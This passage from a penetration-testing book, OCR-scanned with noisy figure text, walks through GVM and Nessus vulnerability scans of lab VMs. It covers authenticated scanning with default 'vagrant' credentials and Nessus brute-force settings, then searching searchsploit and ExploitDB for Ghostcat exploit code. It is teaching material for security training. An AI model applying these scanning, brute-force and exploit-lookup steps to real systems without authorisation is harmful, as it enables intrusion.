look for 1. Click on it to watch what’s being discovered and what information you are

gathering. Figure 6.11 shows an example of the report screen.

@ Reports 2 of 2

Reports by Severity Class (Total: 2) x Reports with High Results

Log

— Max High
~ Max High per

E -

i’ *
T T T T

Mon10  12PM  Tuell 120M  Wed12

Time
Date ' Status T] Task T} Severity T

Tue, Nov 11, 2025 2:02 PM Coordinated

192.168.92.0/24 Network
Universal Time

Figure 6.11 - GVM report in progress

7. You can also click on Dashboards at the top of the screen to get an overview of what

has been recorded. Figure 6.12 presents an example of the report screen after clicking on
Dashboards.
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Dashboards

Scans

Assets
Resilience

— Security
== Information

42 configuration

=— Administration

(2) Help

(€]

l' II Dashboards

Overview

[

Tasks by Severity Class (Total: 1)

N’

 of created CVES

CVESs by Creation Time

— Created CVEs

~ Total CVEs

0o
x Tasks by Status (Total: 1) x
= Running

x NVTs by Severity Class (Total: 168743) x
sv6 Log
= Low

Medium

High

Figure 6.12 - GVYM dashboard

8. From the menu, click Scans | Task. This will return you to your task list. Once your task

has been completed, you will see Done, highlighted in blue.

#: Greenbone

|l Dashboards

@ scans
Tasks
Reports
Results
Vulnerabilities
Notes
Overrides

5 assets

Resilience

Security
Information

@

ﬂ Configuration
- . .
== Administration

-

@ Help

+
(ORI Filter S®OBZ - ¢
J Tasks 1 of 1 o
Tasks by Severity Class (Total: 1) % Tasks with most High Results per Host x Tasks by Status (Total: 1) X
High Done
192.168.02.072
Results per Host
D K (€ 1-10f1[3>
Last . N
Name T Status T Reports T Report 1l severity T} Trend 1) Actions
Tue, Nov
11, 2025
192.168.92.0/24 2:02 PM
[ oore ] ; [ wowion ]
Universal
Time

Figure 6.13 - GVM task done
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9. Click on Scan | Reports and you will see the one task that we ran. You can click on the

date to go into the report’s details.

10. From here, click through the top options to see all the information collected and available

to you.
Tue, Nov
11, 2025

@ 2:02 PM

Report: . T
Coordinated
Universal Tue, Nov 11, 2025 Wed, Nov 12, 2025
091€19.8330-4304 Y 8:33 AM
Time O povamtencose . T Gopgotes Mo e Owner: adrin
Universal Time Universal Time
Results Hosts Ports Applications Operating cvEs Closed TLS Error User
Information  (23gor ora) (15 of (34 0r34) Systems (196 or  CVEs Certificates Messages Tags

717) 26) (2 0f4) 196) (18 of 10) (5 of 5) (42 0f 42) (0

Figure 6.14 - GVM scan report

11.

Now, click on Results and scroll down to see whether you can find SSH Brute Force Logins

With Default Credentials Reporting, and select it. You will be shown that it was possible

to log in with the username and password vagrant.

S5H Brute Force
Logins With Default
Credentials
Reporting

(O}

Summary

default credentials.

Detection Result

5 TS 95 %

192.168.92.4

It was possible to login into the remote SSH server using

22/tcp N/A

vagrant:vagrant

It was possible to login with the following credentials <User>:<Password>

Insight

Detection Method

As the VT 'SSH Brute Force Logins With Default Credentials'
(OID: 1.3.6.1.4.1.25623.1.0.108013) might run into a timeout the actual reporting of this
vulnerability takes place in this VT instead.

Figure 6.15 - GVM results SSH

12. You may now exit GVM.
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How it works...

GVM conducts a network scan by probing identified hosts and services, applying a range of vul-
nerability checks to detect potential security flaws. Once the scan is completed, GVM compiles
these findings into a detailed report, highlighting each discovered vulnerability. This report will

allow you to target hosts with specific vulnerabilities using the proper techniques.

See also...

For more information on scanning targets, please see the Greenbone documentation athttps://
docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-a-simple-scan-

manually.

Executing a targeted vulnerability scan with GVM

In this recipe, you will explore advanced and targeted scanning techniques that allow you to focus
on specific high-risk hosts or services. You’ll learn how to customize scanning profiles, employ

additional detection plugins, and optimize scanning performance to uncover vulnerabilities.

Getting ready

You need the following to complete this recipe:

e  TheKali VM up and operational
e A Windows 2008 Metasploitable3 Windows machine up and running
e  GVM services started

e The GVM web interface logged in to


https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-a-simple-scan-manually
https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-a-simple-scan-manually
https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-a-simple-scan-manually
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How to do it...

1. Ifyoufound credentials during your discovery, you can add those credentials to the target
to be scanned. Do this by selecting Configuration | Credentials and then selecting the

new icon.

£ Greenbone
-

[/l Dashboards 0
@ Scans > .
Credentials 0 of 0
g Assets b
N - No credentials available
Resilience 3

— Security
—' Information

.,//@’ Configuration

Targets

<

Port Lists

Credentials

Scan Configs

Figure 6.16 - Configure credentials

Tip
You can add the following types of credentials: Username + Password, Us-

ername + SSH Key, SNMP, S/MIME Certificate, PGP Encryption Key, and

Password Only.
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2. Foryour new credential, add a name, and the type will be Username + Password. Select
Yes for Allow insecure use, and for Username and Password, enter vagrant. Once done,

click Save.

New Credential X

Name

vagrant u/p

Comment

Type
Username + Password <

Allow insecure use

o Yes No

Auto-generate

Yes @) nNo

Username

vagrant

Password

(T 1) =

Figure 6.17 - New Credential

! Tip
3

g Do not enable Allow insecure use outside of a lab environment.
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3. Wewill add a new target for our scan from the GVM web interface. Select Configuration

| Targets from the menu at the top. Then select the new icon.

&5 Greenbone
&

[l Dashboards O] I
Scans b
© @ Targets 1 of 1
& Assets >
Resilience b O
o) Securltyl , Nama
—' Information

target testl

Se

Configuration w

Targets

Port Lists

Figure 6.18 - Configure targets

;
EOS

S You can create, modify, and delete targets from the Targets screen.

4. Inthe New Target dialog box, add aname and the Windows host IP next to Manual. Also,
add the previously created credentials for SSH and SMB. Once done, click Save.
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5.

New Target

Name
Windows Server 2008

Comment

Hosts
(o] Manua\l 192.168.92.5

From file &

Exclude Hosts

o Manual

From file &

Allow simultaneous scanning via multiple IPs
o Yes No

Port List
All IANA assigned TCP

Alive Test
Scan Config Default

Credentials for authenticated checks

T

SSH
- - on port 22

]

Cancel

Figure 6.19 - New Target

You can now add a new task by selecting Scans | Task and selecting the new icon.
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6. Add aname to the New Task dialog and select the scan target you created. You can make

this an alterable task to change in the future if you desire. Select Save.

New Task

Name

Scan Windows Server

Comment

Scan Targets
Windows Server 2008

Alerts

Schedule

Add results to Assets

o Yes No
Apply Overrides
O ves No
Min QoD

70

G

<>

z once []

Alterable Task

Yes o No

Auto Delete Reports
o Do not automatically delete reports

keep newest

Scanner
OpenVAS Default

Scan Config

Full and fast

Order for target hosts

Sequential

Automatically delete oldest reports but always

reports

<y

4

[$3

Cancel

Figure 6.20 -

New scan target
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7. Tryinitiating the task, allow it to run, and review the results.

8. Todiscover additional options available to configure, take some time and create new scan
tasks, altering the configuration options. However, it’s important to note that the Full

and fast option under Scan Config carries out a very exhaustive scan.

How it works...

An authenticated scan provides deeper vulnerability insights by combining external network
probing with internal checks via valid user credentials. It enables local security checks (LSCs)
that are minimally invasive. Although the scan requires prior credential setup and may be limited
by user permissions, it does not change the target system beyond generating a risk-level assess-

ment. The target’s protocols are likely to record the login activity.

See also...

For more information on advanced scanning, please look at the Greenbone documentation
at https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-an-

authenticated-scan-using-local-security-checks.

Setting up Nessus

In this recipe, we will guide you through installing and configuring Nessus, covering everything
from signing up for a license to running the initial setup wizard. You'll discover how Nessus’s
interface streamlines plugin management and scan customization. By the end of this section, you

will have Nessus configured and ready to identify vulnerabilities.

Getting ready

You need the following to complete this recipe:

e TheKali VM is up and operational

How to do it...
1. From the Kali interface, open a terminal window.

2. Let’s ensure Kali Linux is entirely up to date in preparation for the Tenable Nessus instal-

lation. Enter the following and provide your password if requested:

sudo apt update && sudo apt full-upgrade -y


https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-an-authenticated-scan-using-local-security-checks
https://docs.greenbone.net/GCS-Manual/gcs/en/scanning.html#configuring-an-authenticated-scan-using-local-security-checks
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3. Once the update is complete, reboot by entering the following and providing your pass-

word if requested:

sudo shutdown -r now

4. Once the system boots, log back in and open the web browser.
5. Navigate to https://www.tenable.com/downloads/nessus.

6. The defaults should be fine. However, to verify, select the latest version. For installation
in Kali, select Linux | Ubuntu | amdé4 (for 64-bit operating systems). Select Download

to download the installation package.

Otenable | Downloads

Tenabl
Tenable Nessus

1 Download and Install Nessus Summary

Choose Download Release Date:

Version Platform Release Notes:

0101 | w Linux- Ubuntu-...|

@ Download Signing Keys:

Start and Setup Nessus

5 and follow setup wizard to finisl

Figure 6.21 - Download Nessus
7. Once the download is complete, you may close your web browser.
8. To begin the installation, open a terminal window and enter the following commands:

cd ~/Downloads

ls #This will display the directory contents so you can get the

filename of Nessus
sudo apt install ./Nessus-10.8.3-ubuntul604_amd64.deb



https://www.tenable.com/downloads/nessus
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| T 1
Q-

S Substitute the filename with that of your download Nessus installation.

The following figure shows the Nessus installation:

~/Downloads

~/Downloads
instal /Nessus-10.10.1-ubuntu1604_amdé64.deb
ing * : of './Nessus-10.10.1-ubuntul6®

Download s
Space needed: @ B / 41.7 GB

ssus amdés 10.18.1 [{

installed.)

55
55
SS

(KaT_cipl ]
(KAT_Cipher)
Pass
ntinuous_RNG

(KAT_KDF)
(KAT_KDF)
(KAT_KDF)

(KAT_KA)
pt : (KAT_As) icCipher) : Pass

Figure 6.22 - Nessus installation

9. Once complete, the services should be automatically started; however, if not, to start the

service, enter the following:

sudo /bin/systemctl start nessusd.service
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Tip
Ny

_,@\' If you want to stop the Nessus service, use the following command:

sudo /bin/systemctl stop nessusd.service

10. You may now close your terminal window.

7/

11. Open your web browser and navigate to https://kali:8834/.

Tip
|

N\ 7
_,@\_ If you have a problem navigating to the preceding site, try the following:

https://127.0.0.1:8834

You will get a Tenable Nessus screen from the web browser, providing some details of the

initialization process.

12. You will be asked to register for an account. Click Continue to complete the registration.

Otenable

B Register Offline

Continue

Figure 6.23 - Nessus register screen


https://kali:8834/
https://127.0.0.1:8834
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13. On the next screen, select Register for Nessus Essentials and click Continue.

\ Tip

\ 7/
/@\ Nessus Essentials is the free, open source version of the software. However,

it limits you to the number of hosts you can scan.

14. Provide a first name, last name, and email, then click Register.

Tip
|
—\@’— As of this book’s writing, no verification was being performed on the data

entered. However, there is also no reason not to use valid information for

the input.

enable
Nessus

free Nessus ntials activation
er your information.

First Name Last Name

Email

code? Skip tl to enter it

Figure 6.24 - Nessus registration

15. You will receive your license information in the form of an activation code. I suggest not-
ing down this information in case you need to reinstall the software. When ready, click

Continue.
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16.
17.

18.

License ‘mation

Activation Code: HREL’_-_

Continue

Figure 6.25 - Activation code

On the next screen, enter a username and password of your choice and click Submit.

You will briefly see a screen saying Setup Complete followed by an initializing screen
with a progress bar. Please be patient as the installation continues.

Next, the screen will change to the primary user interface. However, installation steps
are still being completed in the background. In the upper right-hand corner, you will see
a rotating circle indicating that the initialization work is still being completed. You may

click the link to learn more about the tasks being performed.

Otenable Nessus Essentials ] Settings

Events

H

Time v

L]
a
2

Today at 11:22 AM

L

at11:22 AM
Today at 11:22 AM

Today at 11:22 AM

Figure 6.26 - Initialization process
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19. Once the circle disappears, the tasks have been completed, and the system is fully avail-

able to you.

How it works...

As part of the Nessus installation process, we performed a Kali system update and upgrade to
ensure it was current. After downloading and installing the Nessus package, we activated the
Essentials (free) license, which triggered the initialization process. During this stage, Nessus
automatically downloaded and integrated a wide array of plugins. Plugins are detection scripts
that allow Nessus to identify known vulnerabilities across operating systems, applications, and

network services.

The web-based interface simplifies the management of these plugins by allowing users to view
plugin categories, enable or disable specific plugin families, and control how aggressively scans
are conducted. Additionally, scan customization is intuitive as the interface aligns plugins into
clear categories, such as Discovery, Assessment, and Credentials. Nessus’s ability to extend its

capabilities through plugins allows you to greatly customize it to your needs.

See also...

More information on installing Nessus can be found at https://docs.tenable.com/nessus/

Content/InstallNessus.htm.

Conducting a basic vulnerability scan with Nessus

In this recipe, we’ll walk you through creating your first scan policy, selecting hosts or networks
to review, and interpreting the resulting scan reports. This will provide avenues to compromise

these hosts to gain a foothold in the network or environment.

Getting ready

You need the following to complete this recipe:

e TheKali VM up and operational
e Asmany target machines started as possible
e Nessus services started

e  The Nessus web interface logged in to


https://docs.tenable.com/nessus/Content/InstallNessus.htm
https://docs.tenable.com/nessus/Content/InstallNessus.htm
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How to do it...

1. Onthe Nessus web interface, click on the Scans tab and then the New Scan button.

Ortenable nessusE: als Scans

Import

Figure 6.27 - Nessus scans

2. From the Scan Templates menu, select Basic Network Scan.

fals Scans Settings
can Tem
Scanner
DISCOVERY

-

Host Discovery

VULNERABILITIES

Basic Network Scan

>

Web Application Tests

Tenable News

Securing the Mission:
Why Container
Deployment Sca...

COMPLIANCE

5

i&utm_medium=0s&

¥

Ping-Only Discovery

8 ;

Credential Validation

Advanced Scan

b

Active Directory Starter

o]

« | Network Scan MDM Config Audit

Figure 6.28 - Basic Network Scan

(7} 4 nithik o

New Folder © Newscan

gy

Advanced Dynamic Scan

)

Find Al

Offline Config Audit
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3. OntheNew Scan page, enter aname and set Targets as your VM subnet (192.168.56.0/24).
Before you click Save, go through all the settings on the left to see the available options.

When ready, click Save.

Settings Credentials Plugins 4%

MName

Description
tificat

DISCOVERY
ASSESSMENT Folder
REPORT

REQUIRED
ADVANCED

Upload Targets

Cancel

Figure 6.29 - New Scan

4. Youwill bereturned to the scan window. Now start the scan by clicking on the play button.

N Tip

S This scan will take approximately 30 minutes.

New Folder © New Scan

Name Scan Type Schedule Last Scanned v

192.168.92.0/24 Basic Vulnerability On Demand

Figure 6.30 - Play button
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5. Monitor the scan by clicking on the rotating status button.

New Folder © Newscan

Name Scan Type Schedule Last Scanned v

192.168.9. asic Vulnerability On Demand Today at 11:51 AM

Figure 6.31 - Status button

6. On the scan progress screen, click on the Hosts and Vulnerabilities tabs at the top to

review what has been discovered.

2] A nithik o

Configure

Vulnerabilities (32 History 1
Filter ~
Sevw Cvssy  VPRY  EPSSY Namea Family a County  Scan Details
cameaL Ms
Misc.
General

MDED s. Genera iliti
S.. neral Vulnerabilities

Misc, ,/

Tenable News

Why Early Visibility
Matters: Risk Lurks in
thevu...

Nessu Port scanners

Figure 6.32 - Host and vulnerability selection
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7.

Configure

vulnerabilities 129 Remediations Notes 1 History

Name & Count ¥

Family &

CRITICAL .9 . ba And.
CRITICAL nonical Ub...
CRITICAL ProFTPD mo.
CRITICAL

MIKED H - Ap
MIKED Apach:
MIKED PHP (Mu..
MIXED Apache ..
MIXED

Drupal (..

MIXED.

® 0 0 @0 @ @ 06 606 6 6

Microsof. 1dows.

Figure 6.33 - Scan completed

8.

Vulnerabilities 129 Remediations

ProFTPD mod_copy Information Disclosure

Description

See Also

Output

sit individual host

Hosts

The scan is done when the status shows as Completed on the right.

Audit Trail Launch ¥ Report  Export ¥

Scan Details

0 minu

Vulnerabilities

Explore the details of the vulnerabilities by clicking on any of the entries on the screen.

Audit Trail Launch ~ Report  Export ~

Plugin Details

Critical

Exploit Prediction Scoring

sk Fa Critical

CVSS v3.0 Base Score: 9.8

Figure 6.34 - Explore a vulnerability
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How it works...

Abasic Nessus scan checks each IP address within a specified subnet, probing each host for open
ports, banners, and potential vulnerabilities. It checks for misconfigurations, outdated software,
and known exploits, and then classifies the findings. Nessus allows penetration testers to identify
and target vulnerabilities across the entire subnet quickly. Additionally, authenticated scans can

provide more complete results.

Interpreting this reportis a critical step for penetration testers. It allows you to prioritize your next
actions by focusing on high-severity vulnerabilities that offer potential attack vectors. The report
interface includes summary dashboards, individual host risk profiles, and detailed plugin results.

By evaluating the results, you can create a roadmap of who to target first and by what means.

See also...

More information on Nessus scans can be found at the following site: https://docs.tenable.

com/nessus/Content/Scans.htm.

Executing an advanced and targeted vulnerability
scan with Nessus

In this recipe, we’ll guide you through customizing scan policies, leveraging specialized plugins,
and zeroing in on your target environment’s most vulnerable systems and services. With this

information uncovered, you can target exploits appropriately against vulnerable machines.

Getting ready

You need the following to complete this recipe:

e  TheKali VM up and operational
e A Windows 2008 Metasploitable3 Windows machine up and running
e  Nessus services started

e The Nessus web interface logged in to


https://docs.tenable.com/nessus/Content/Scans.htm
https://docs.tenable.com/nessus/Content/Scans.htm
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How to do it...
1. Onthe Nessus web interface, click on the Scans tab and then the New Scan button.

2. From the Scan Templates menu, select Advanced Scan.

Scan Templates

Scanner

DISCOVERY

> %

Host Discovery Ping-Only Discovery
ort hosts with minimal network tr

VULNERABILITIES

. 8 .

Basic Network Scan Credential Validation Advanced Scan
st v ny recomme

’ 3

Web Application Tests Credentialed Patch Audit Active Directory Starter
T Knou Authenticate tc a 3

Figure 6.35 - Advanced Scan

3. On the New Scan page, enter a name and set Targets as your Windows Metasploitable

VM (192.168.56.103).

Settings Credentials

Name

Description
tificat

DISCOVERY
ASSESSMENT
REPORT

Targets
ADVANCED s

Upload Targets

Cancel

Figure 6.36 - New scan target



240 Weaknesses Exposed: Advanced Vulnerability Analysis

4. Select DISCOVERY | Port Scanning. Scroll down to the bottom. Under Network Port
Scanners, select TCP, UDP, and SYN.

Network Port Scanners

TCP

Override automatic firewall detection

ide automatic firewall detection

Figure 6.37 - Port scanning

5. Select DISCOVERY | Service Discovery. For Search for DTLS on, select Known DTLS ports.

Settings Credentials Plugins

BASIC X
General Settings

DISCOVERY

ASSESSMENT
REPORT Al TCP

ADVANCED

Enable CRL checking (connects to the Internet)

Figure 6.38 - DTLS ports
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6. Select DISCOVERY | Identity. Select Collect Identity Data from Active Directory.

New Scan / Advanced S

Settings Credentials Plugins

Figure 6.39 - Identity

7. Select ASSESSMENT | Windows. Select Request information about the SMB Domain.

Settings Credentials Plugins

BASIC .
General Settings

Request inform

DISCOVERY

ASSESSMENT

User Enumeration Methods

REPORT

ADVANCED

RID Brute Forcing

Cancel

Figure 6.40 - ASSESSMENT | Windows
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8. Atthe top, select Credentials | Windows. From there, add a username and the password
vagrant.

Settings Credentials Plugins

~ Windows

Authentication method
Username

YTy

Domain

Global Credential Settings

Figure 6.41 - Credentials

9. Before you save, I want to point out one setting that will allow the scan to brute force
accounts. Go to ASSESSMENT | Brute Force; you will see the selection for Hydra. This is

a tool we will learn about in a future recipe; however, I wanted to show thatit’s builtinto
Nessus to brute force system credentials.

parallel tasks

Timeout (in

¥| Tryloginas d
ed, Hydra tries

Figure 6.42 - Brute force
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10. Scroll to the bottom and select Save.

11. Youwill be returned to the scan window. Now start the scan by clicking on the play button.

Tip
|
-\@’- This scan will take approximately two hours to complete. Credential check-
4 N

g ing and policy tuning can help improve the performance of longer scans and

can also affect accuracy.

How it works...

Advanced targeted scans affect additional features, plugins, and capabilities to help better iden-
tify vulnerabilities that hosts may have in the target environment. Nessus probes will go much
deeper, and information from previous activities can be used to help enrich the scan to provide

better visibility.

See also...
More information on Nessus scans can be found at the following site: https://docs.tenable.
com/nessus/Content/Scans.htm. Additional information on exporting result reports in various

formats canbefound athttps://docs.tenable.com/nessus/Content/ScanReportFormats.htm.

Get This Book’s PDF Version and

Exclusive Extras
1
(=] [
| ™

Scan the QR code (or go to packtpub.com/unlock). Search for this

book by name, confirm the edition, and then follow the steps on

the page.

Note: Keep your invoice handy. Purchases made directly from Packt

don’t require one.
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Exploitation Unleashed: Finding
the Hidden Flaws

In any penetration test, the exploitation phase is where the most critical information gathering
takes place. After gathering information and identifying potential weaknesses, your next step is to
exploit these gaps to gain access and prove the viability of an attack vector. By choosing the right
exploits, you can break into a target system, demonstrating the risks a network has. At this stage,
you transition from passive observation to active penetration. You choose and configure exploits,

manage payloads, coordinate efforts with others, and maintain control over compromised systems.

In this chapter, you will explore how to find the vulnerabilities that match the discovered exploits,
searchinglocal and remote databases to uncover the perfect tool for each job. You’ll dive deep into
tools such as Metasploit, and you will learn how Armitage can visualize the target environment
and enable team-based collaboration, while tools such as Yersinia will allow you to exploit the

network.
The following recipes will be covered in this chapter:

¢  Understanding vulnerabilities and targets

e  Searching local exploit databases

e  Searching remote exploit databases

e  Setting up Metasploit

e Learning Metasploit basics

e  Target scanning and enumeration using Metasploit

e  Using exploits and payloads in Metasploit
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e  Setting up Armitage
e  Visualizing the target
e  Collaborative hacking

e  Using Yersinia to attack network protocols

Technical requirements

All of the recipes in this chapter can be conducted within the VirtualBox environment and origi-

nate from the Kali VM. You will also need to access some resources on the web.

Understanding vulnerabilities and targets

In this recipe, you will explore how to match discovered vulnerabilities with the appropriate
exploits effectively. You’ll learn how to interpret vulnerability scan results, cross-reference them
with public advisories, and pinpoint the exact exploit needed to capitalize on each flaw. By mas-
tering this correlation process, you can expedite your exploitation workflow and ensure you're

using the most targeted, up-to-date attack vectors.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e Youmay need GVM or Nessus Information and Reports

How to do it...

1.  First evaluate which vulnerabilities you would like to explore.
Use the reports in GVM or Nessus created in the last chapter.

If you skipped the previous chapter, you can use a quick Nmap scan of the Metasploitable

Windows and Linux hosts. An example scan is nmap -—script vuln <ip address>.

When determining which vulnerabilities to attack, ensure your target host has meaning-
ful vulnerabilities. You are looking for the few machines in a network, potentially out of

thousands, with significant vulnerabilities.
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2. Review the Nessus vulnerability report. You will now see that the top four targets have the

most vulnerabilities, and the others are probably not worth targeting, as shown in Figure 7.1.

Auth  Vulnerabilities v

Figure 7.1 - Nessus vulnerabilities

Most reporting uses the Common Vulnerability Scoring System (CVSS), which rates
vulnerabilities from O to 10. The higher the score, the more damaging the vulnerability is

and the more trivial it is to exploit.
3. Startreviewing the highest CVSS score and work your way down.
Tip

Note that you may need to string exploits of different vulnerabilities together

to reach a desired outcome. This tactic is called exploit chaining.

4. Select a host. You will be provided with a list of vulnerabilities from highest to lowest.

5. Select the Apache Tomcat AJP Connector Request Injection (Ghostcat) vulnerability

for this recipe to see its details:

Vulnerabilities 129 Remediations MNotes 1 History 1

crmcaL  Apache Tomcat AJP Connector Request Injection (Ghostcat)

Solution

Update t > configuration uire a { e the Tomcat 00 31 or later.

Figure 7.2 - Vulnerability details
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6. Scroll down to get the CVE number on the lower right. The CVE is an identifier of a specific
vulnerability. In this case, you will see that we have two CVEs identified: CVE-2020-1745
and CVE-2020-1938:

Vulnerability Information

CPE: cpe:/a:apache:tomcat

Exploit Available: true

Exploit Ease: re available
Patch Pub Date: March 1, 2020

ch 1, 2020

Reference Information

CEA-ID: CEA-2020-0021
N EXPLOITED: 2022/

Figure 7.3 - Vulnerability CVEs

How it works...

In this recipe, you begin using all the information you have collected to research the targets and
start exploiting the target network. You made sound judgments of the correct hosts to target and
the vulnerabilities to exploit. By matching CVEs with specific exploits, you move from finding
vulnerabilities to actionable penetration testing. This process is very important in enterprise
networks, where dozens of vulnerabilities might be listed, but only a few are exploitable due to

network configuration, active protection mechanisms, or other mitigations.

See also...

More information on CVEs can be found at https://www.cve.org/about/overview, and for more

information on CVSS, you can access https://www.first.org/cvss/.


https://www.cve.org/about/overview
https://www.first.org/cvss/
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Searching local exploit databases

In this recipe, you will use the local exploit databases in Kali Linux. You will learn best practices

for quickly searching and filtering through various exploits. This method ensures access to es-

sential exploit information, even in network-restricted environments, during penetration tests.

Getting ready

You need the following to complete this recipe:

A Kali Linux VM that is up and operational

How to do it...

1.

2.

First, update your database by opening a terminal window and entering the following,

providing your password as required:

sudo searchsploit -u

Tip
N\, ! d
/@\ Updates come out a few times a month; therefore, you should run this com-

mand regularly to keep your database updated.

We will focus on the Apache Tomcat software and the two CVEs we discovered in the first
recipe: 2020-1938 and 2020-1745.

Open up the terminal window and enter the following:

searchsploit -h
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3. Examine the output to understand the capabilities and options that searchsploit offers.

These options can help you better identify and search for exploits.

kali@kali: ~/Downloads
Session Actions Edit View Help

~/Downloads

rchsploit [options] terml [term2] ... [termN]

exploit-db.com/se,

[term] s
[term] e ry r loit De 1t AND match on each term) [Implies "-t"]

ipboard if possible)

[EDB-1ID]
[EDB-1ID]

Automation
map [file.xml]

Figure 7.4 - searchsploit -h

4. To perform a standard search on the CVE, use the - -cve switch, as shown here:

searchsploit cve 0-1938

In the output, you will see path information that points you to either the exploit code
or to documentation on the vulnerability and how to exploit it. Also, there may be docu-

mentation or other pertinent information.
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5.

6.

kali@kali: ~/Downloads

Session Actions Edit View Help

~/Downloads

020-1938

Title

Gh

~/Downloads

Figure 7.5 - searchsploit 2020-1938

Now let’s do a search for CVE 2020-1745. Type the following:

searchsploit --cve 2020-1745

Look at the output—does it seem correct? We were searching for a vulnerability related to

Apache Tomcat (a piece of software), but the output mentions a router and provides a path
to a hardware exploit. That’s because this is not for CVE 2020-1745 but for 2020-17456.

outer - Remote Code tion (Unauthenticated)

No Results
No Results

~/Dounloads

Figure 7.6 - searchsploit 2020-1745

So, now that you see that error, use the following to exclude thatresult using the following:

searchsploit --cve 2020-1745

Unfortunately, now you will be shown that there are no results in the CVE 2020-1745

database. This is because itis notincluded in their database. This may be due to the type

of vulnerability or its popularity.
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8. Return to CVE 2020-1938 (used in step 4) using the following and look at some of the

results as shown in Figure 7.7:

nano /usr/share/exploitdb/exploits/multiple/webapps/48143.py

kali@kali: ~/Downloads

Session  Acti Edit View Help
GNU nano 8.6 Jusr/share/exploitdb/exploits/multiple/webapps/48143.py

1, s.encode('utfg8'), @)

range(2)

en, data_direction=

t.MAX_REQUEST_LENGTH)

34, 0%00)

le/webapps/48143.py' is unwritable ]
te K

Location Y undo
Wi Go To Line [ Redo

Figure 7.7 - CVE 2020-1938 Python

Tip

For exploit papers, the directory that should be prefixed to the result is the

following: /usr/share/exploitdb/exploits/.

9. Inthis particular case, they are providing you with a full Python program. Many artifacts
may be included when you review exploits, which could include sample exploit code, a
detailed paper, mitigation information, and detailed vulnerability information.

10. To review the paper associated with the Ghostcat vulnerability, you need to get the path
to look at, as I believe the one provided is truncated. Type the following command, and

instead of hitting Enter, hit Tab to expand it:

1s /usr/share/exploitdb-papers/docs/english/49716-apache-ghostc
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The result will provide the full path:

/usr/share/exploitdb-papers/docs/English/49716-apache-ghostcat-cve-20201938-
paper.pdf
Tip

N\ ! 7
_/@\_ For exploits the directory that should be prefixed to the result is the following:
/usr/share/exploitdb-papers/.

11. Open Firefox and paste that result in the search box, and the file will open:

SAFE SECURITY | 2020

Apache
Ghostcat

Figure 7.8 - 2020-1938 paper

12. You may now close the terminal window.

How it works...

We began by updating the local exploit database using searchsploit, which ensures we have
access to the most recent exploits even if we’re working in a network-isolated environment. By
searching for CVEs identified during vulnerability scanning (such as CVE-2020-1938, a critical
flaw in Apache Tomcat), we were able to locate the corresponding exploit code and documenta-

tion stored locally on Kali.

We also learned how to filter out false positives and refine searches to zero in on the exact vul-
nerabilities we are interested in. Lastly, we explored accessing proof-of-concept exploit scripts

and detailed research papers that explain how the vulnerabilities function.
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See also...

More information on searchsploit canbefound athttps://www.exploit-db.com/searchsploit.

Searching remote exploit databases

In this recipe, we’ll broaden our horizons by exploring online repositories such as Exploit Da-
tabase (ExploitDB) and other remote sources. These resources can include vendor advisories,
GitHub proofs of concept, and mailing lists. You’ll learn how to perform precise searches, keep
up with newly disclosed exploits, and verify the authenticity of exploits. Utilizing these external
resources will help you maintain a robust toolkit, ensuring you’re prepared for evolving threats

and emerging challenges and vulnerabilities.

Getting ready

You need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

How to do it...

1. Open Firefox or another web browser and navigate to https://www.exploit-db.com.

2. Start by searching for CVE 2020-1745. You will see the same results as we received using

searchsploit.

Show| 15 v Search: ‘ p020-1745 |
Date & D A V Tile Type Platform Author
20220311 & X Seowon SLR-120 Router - Remote Code Execution (Unauthenticated) Remote Hardware Aryan Chehreghani
Showing 1t 1 of 1 entries (filtered from 46,435 total entries) 0
Databases Links Sites Solutions

Figure 7.9 - ExploitDB - search 2020-1745

Again, you will be shown the wrong result. If you select the result title, you will find it

much easier to notice that you have the wrong result.

3. Usingthe advanced search in the upper right will make it much easier to get to the required
results. By searching for 2020-1745 under CVE, you will see that there will be no results

listed as opposed to the improper results displayed earlier.


https://www.exploit-db.com/searchsploit
https://www.exploit-db.com
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s [ e

Shuw‘ [ Search The Exploit Database En: ‘ 2020-1745 |
Datem D Title GvE form Author
20220311 £ ‘ Tile 20201745 ‘ iware Aryan Chehreghani
|

Showing 1101 of 1 entries| ~ T/P¢ Platform Author PREVIOUS o NEXT  LAST

» v Author
Databas - Port Tag blutions

Ind Certifications

Exploits Exploit content v v

GooglekiSy Verified Has App No Metasploit i iptions

Papers {Cyber Range
Shellcodes ng Grounds

Penetration Testing Services

Figure 7.10 - ExploitDB - advanced search

4. Now search for the next vulnerability—CVE 2020-1938. You will see two results returned

related to Ghostcat, which will allow you to obtain additional information.

Verified Has App Y Filters Vx Reset All
Show| 15 v Searchf | 2020-1938

Date @ D A V Tile Type Platform Author
20201113 &  Apache Tomeat - AJP ‘Ghostcat File Read/Inclusion (Metasploit) WebApps Multiple SunCsR
20200220 & X Apache Tomeat - AJP ‘Ghostcat File Read/Inclusion WebApps Multiple YDHCUI

Figure 7.11 - ExploitDB - search 2020-19385

5. Select the top entry to dive into the exploitinformation further. You will see that the same
Python code is presented as was with searchsploit. Note the two icons to download or
see the code in raw format next to Exploit.

Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)

EDB-ID: CVE: Author: Type: Platform: Date:
10039 20201938 SUNCsR WEBAPPS MUTIPLE 202

EDB Verified: ./ Exploit: ¥ / {} Vulnerable App:

require "msf/core”

Class Metasploithodule < Msf: :Auxiliary
Rank = ExcellentRanking

include Msf::Exploit: :Remote: Tcp

def initialize(info = {})

super (update_info(info

It was expected (and reco

and 7.8.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured Ip addresses
Connector would be disabled if not required. This vulnerability report identified a mechanisn that allowed: - returning arbitrary files from anywher

in the web application as a J5P Further, if the web application allowed file upload and stored those files within the web application (or the attack
application by sone of then this, al e ability to process a file P, made remote code execution possible. It is important to n
AJP port is accessible sted users. Users wishing to take a defence-in-depth approach and block the vector that pernits returning arbitrary files and e

Figure 7.12 - ExploitDB - search 2020-1938
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6. Select the papericon from the left-side menu bar and search for 2020-1938. You will find

the same paper as found with searchsploit.

Exploit Database Security Papers

Date Added
